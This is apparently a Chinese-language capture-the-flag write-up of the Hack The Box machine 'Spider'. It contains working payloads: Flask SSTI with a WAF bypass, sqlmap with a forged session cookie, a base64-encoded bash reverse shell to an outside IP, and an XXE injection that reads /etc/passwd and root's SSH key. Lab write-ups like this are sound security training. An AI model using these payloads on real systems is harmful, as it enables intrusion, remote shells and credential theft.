本文最后更新于:2022年6月6日 晚上
0x01 端口探测 1 nmap -sC -sV -v 10.10.10.243
1 2 3 4 5 6 7 8 9 10 11 12 PORT STATE SERVICE VERSION22 /tcp open ssh OpenSSH 7.6 p1 Ubuntu 4 ubuntu0.3 (Ubuntu Linux; protocol 2.0 ) | ssh -hostkey: | 2048 28 :f1:61 :28 :01 :63 :29 :6 d:c5:03 :6 d:a9:f0:b0:66 :61 (RSA) | 256 3 a:15 :8 c:cc:66 :f4:9 d:cb:ed:8 a:1 f:f9:d7:ab:d1:cc (ECDSA) |_ 256 a6:d4:0 c:8 e:5 b:aa:3 f:93 :74 :d6:a8:08 :c9:52 :39 :09 (ED25519)80 /tcp open http nginx 1.14 .0 (Ubuntu) | http -methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http -server-header: nginx/1.14 .0 (Ubuntu) |_http -title: Did not follow redirect to http://spider.htb/ Service Info : OS: Linux; CPE: cpe:/o:linux:linux_kernel
0x02 WebShell/User Shell 访问80端口,直接跳转到spider.htb,然后报错:
在/etc/hosts将域名和端口进行绑定
重新访问spider.htb,界面正常。
抓包能够发现携带了cookie,根据cookie形式推测后端使用了flask:
在用户注册界面尝试SSTI,用户名输入4:
然后进入登录后界面的USER INFORMATION界面:
发现成功解析:
试着读一下config:
1 <Config {'ENV' : 'production' , 'DEBUG' : False , 'TESTING' : False , 'PROPAGATE_EXCEPTIONS' : None , 'PRESERVE_CONTEXT_ON_EXCEPTION' : None , 'SECRET_KEY' : 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942' , 'PERMANENT_SESSION_LIFETIME' : datetime.timedelta(31 ), 'USE_X_SENDFILE' : False , 'SERVER_NAME' : None , 'APPLICATION_ROOT' : '/' , 'SESSION_COOKIE_NAME' : 'session' , 'SESSION_COOKIE_DOMAIN' : False , 'SESSION_COOKIE_PATH' : None , 'SESSION_COOKIE_HTTPONLY' : True , 'SESSION_COOKIE_SECURE' : False , 'SESSION_COOKIE_SAMESITE' : None , 'SESSION_REFRESH_EACH_REQUEST' : True , 'MAX_CONTENT_LENGTH' : None , 'SEND_FILE_MAX_AGE_DEFAULT' : datetime.timedelta(0 , 43200 ), 'TRAP_BAD_REQUEST_ERRORS' : None , 'TRAP_HTTP_EXCEPTIONS' : False , 'EXPLAIN_TEMPLATE_LOADING' : False , 'PREFERRED_URL_SCHEME' : 'http' , 'JSON_AS_ASCII' : True , 'JSON_SORT_KEYS' : True , 'JSONIFY_PRETTYPRINT_REGULAR' : False , 'JSONIFY_MIMETYPE' : 'application/json' , 'TEMPLATES_AUTO_RELOAD' : None , 'MAX_COOKIE_SIZE' : 4093 , 'RATELIMIT_ENABLED' : True , 'RATELIMIT_DEFAULTS_PER_METHOD' : False , 'RATELIMIT_SWALLOW_ERRORS' : False , 'RATELIMIT_HEADERS_ENABLED' : False , 'RATELIMIT_STORAGE_URL' : 'memory://' , 'RATELIMIT_STRATEGY' : 'fixed-window' , 'RATELIMIT_HEADER_RESET' : 'X-RateLimit-Reset' , 'RATELIMIT_HEADER_REMAINING' : 'X-RateLimit-Remaining' , 'RATELIMIT_HEADER_LIMIT' : 'X-RateLimit-Limit' , 'RATELIMIT_HEADER_RETRY_AFTER' : 'Retry-After' , 'UPLOAD_FOLDER' : 'static/uploads' }>
使用flask-session-cookie-manager
对cookie进行解密,发现以uuid形式存储。即在这条路我们需要拿到管理员的uuid。
1 2 3 E:\flask-session-cookie-manager-master>python flask_session_cookie_manager3.py decode -s Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942 -c eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjM3MTFkYzU0LThhZDEtNDNjOC05YjBlLTU5YjIzNzU5ZmU0MiJ9.YXORyQ .5 Gl9TfDi1A0VQnsvjoEbBdJFLxU {'cart_items' : [] , 'uuid' : '3711dc54-8ad1-43c8-9b0e-59b23759fe42' }
换一条路试试命令执行,发现被限制了字符数,不太可能绕过:
继续探索,最后在hacktricks上找到了一个关于flask的session注入的问题:
https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap#eval
Sqlmap allows the use of -e
or --eval
to process each payload before sending it with some python oneliner. This makes very easy and fast to process in custom ways the payload before sending it. In the following example the flask cookie session is signed by flask with the known secret before sending it :
1 sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie= "session=*" --dump
这里一开始没弄出来,最后发现是VPN的问题。换了个VPN后能跑出数据:
1 sqlmap http://spider.htb/ --eval "from flask_unsign import session as s; session = s.sign({'uuid': session}, secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')" --cookie="session=*" --dump
dump后的数据如下,第一条即为管理员的信息:
1 2 3 129f60ea -30 cf-4065 -afb9-6 be45ad38b73chiv ch1VW4sHERE7331
以管理员身份登录,发现直接进入了admin panel:
然年后有一个supportportal的url:
http://spider.htb/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal
界面如下,不出意外的话又是一个SSTI:
然后发现有WAF:
最后构造出Payload的过程如下:
首先去PayloadAllTheThings 上找了个Payload:
1 {{request |attr('application' )|attr('\x5f\x5fglobals\x5f\x5f' )|attr('\x5f\x5fgetitem\x5f\x5f' )('\x5f\x5fbuiltins\x5f\x5f' )|attr('\x5f\x5fgetitem\x5f\x5f' )('\x5f\x5fimport\x5f\x5f' )('os' )|attr('popen' )('id' )|attr('read' )()}}
输入发现过滤了单引号'
,将单引号替换成双引号
1 {{request |attr("application" )|attr("\x5f\x5fglobals\x5f\x5f" )|attr("\x5f\x5fgetitem\x5f\x5f" )("\x5f\x5fbuiltins\x5f\x5f" )|attr("\x5f\x5fgetitem\x5f\x5f" )("\x5f\x5fimport\x5f\x5f" )("os" )|attr("popen" )("id" )|attr("read" )()}}
然后是发现{{}}
被过滤,使用{%include ...%}
的方式进行绕过:
1 {% include request|attr("application" )|attr("\x5f\x5fglobals\x5f\x5f" )|attr("\x5f\x5fgetitem\x5f\x5f" )("\x5f\x5fbuiltins\x5f\x5f" )|attr("\x5f\x5fgetitem\x5f\x5f" )("\x5f\x5fimport\x5f\x5f" )("os" )|attr("popen" )("id" )|attr("read" )() %}
成功执行后服务器会报500的错误,没有回显。通过sleep函数判断是否能够执行命令,发现可以:
接着构造反弹shell的payload,使用base64编码:
这里不知道为什么直接的bash -i >& /dev/tcp/10.10.16.33/4455 0>&1
不能起作用,知道的师傅可以教教
1 2 bash -c 'exec bash -i >& /dev/tcp/10.10.16.33/4455 0>&1' #原payload YmFzaCAtYyAnZXhlYyBiYXNoIC1 pID4 mIC9 kZXYvdGNwLzEwLjEwLjE2 LjMzLzQ0 NTUgMD4 mMSc= #Base64 编码
1 {% include request|attr("application" )|attr("\x5f\x5fglobals\x5f\x5f" )|attr("\x5f\x5fgetitem\x5f\x5f" )("\x5f\x5fbuiltins\x5f\x5f" )|attr("\x5f\x5fgetitem\x5f\x5f" )("\x5f\x5fimport\x5f\x5f" )("os" )|attr("popen" )("echo -n YmFzaCAtYyAnZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjMzLzQ0NTUgMD4mMSc= | base64 -d | bash" )|attr("read" )() %}
拿到普通用户的shell:
直接去家目录下的.ssh目录翻私钥,然后连接之:
0x03 Root Shell 拿到User Shell后尝试提权,在查看网络连接的时候发现有8080端口。使用curl测试发现是不同的app:
于是使用ssh进行本地转发:
1 ssh -L 8888 :localhost:8080 chiv@10.10.10.243 -i chiv
这里以任意用户都能登录,登录后会分配又一个flask的cookie:
1 .eJxNjEFvgyAARv_KwnkH7WqTmexiAG03cKCActPRBC1as5HU2fS_z16aHb-8770 rcPPgQHwFTy2IgUAUGzSX7HSQXPlRDqE6KvLbZrprBN6W6ZQYEUJWcSIh_xDIvpthv4jCw5WPhaBJjqeM94m-8 _vWgYNMmQML0FZjm7cp9VTZTobiW0lTmBRXFFpCQr1Tbu1JVxE1M715Hf_7PLOXekFRs_ZJlXRNz18EItFXSuZc2YYv-FIP56B4_M1GnUxKsBMUecYWF9X9PiI4GT_L4A3cnsF07kb_A-Lg9gfxF1a8.YXQcMA._xj9xfPtBO9gayEARbgbcNUl-48
解密如下:
1 2 3 4 ┌──(kali㉿kali)-[~/桌面] └─$ flask-unsign --decode --cookie .eJxNjEFvgyAARv_KwnkH7WqTmexiAG03cKCActPRBC1as5HU2fS_z16aHb-8770rcPPgQHwFTy2IgUAUGzSX7HSQXPlRDqE6KvLbZrprBN6W6ZQYEUJWcSIh_xDIvpthv4jCw5WPhaBJjqeM94m-8_vWgYNMmQML0FZjm7cp9VTZTobiW0lTmBRXFFpCQr1Tbu1JVxE1M715Hf_7PLOXekFRs_ZJlXRNz18EItFXSuZc2YYv-FIP56B4_M1GnUxKsBMUecYWF9X9PiI4GT_L4A3cnsF07kb_A-Lg9gfxF1a8 .YXQcMA ._xj9xfPtBO9gayEARbgbcNUl-48 {'lxml' : b'PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+YWRtaW48L3VzZXJuYW1lPgogICAgICAgIDxpc19hZG1pbj4wPC9pc19hZG1pbj4KICAgIDwvZGF0YT4KPC9yb290Pg==' , 'points' : 0 }
Base64内容解码,发现有xml,推测存在xxe:
1 2 3 4 5 6 7 <root > <data > <username > admin</username > <is_admin > 0</is_admin > </data > </root >
开始查找利用点,抓包发现登录时有个version参数,这个会影响到后面cookie的生成:
于是乎这里就很明显了,我们可以通过闭合注释注入xml代码,造成xxe。
这里还有一点,就是username参数也在xml的便签中,我们便可以将输入&admin;
,将一个admin实体注入进去。
构造payload如下:
1 username=%26admin%3b&version=1.0.0 --><!DOCTYPE root [<!ENTITY admin SYSTEM 'file:///etc/passwd' > ]>
使用生成的cookie访问site,能够发现回显:
这样的利用方式就比较简单了,我们直接读取root用户的私钥即可:
1 username=%26admin%3b&version=1.0.0 --><!DOCTYPE root [<!ENTITY admin SYSTEM 'file:///root/.ssh/id_rsa' > ]>
保存后ssh登录即可:
0x03 Summary 这是一个Medium难度的Linux靶机,主要考察内容如下:
SSTI
Flask Session注入
WAF绕过
XXE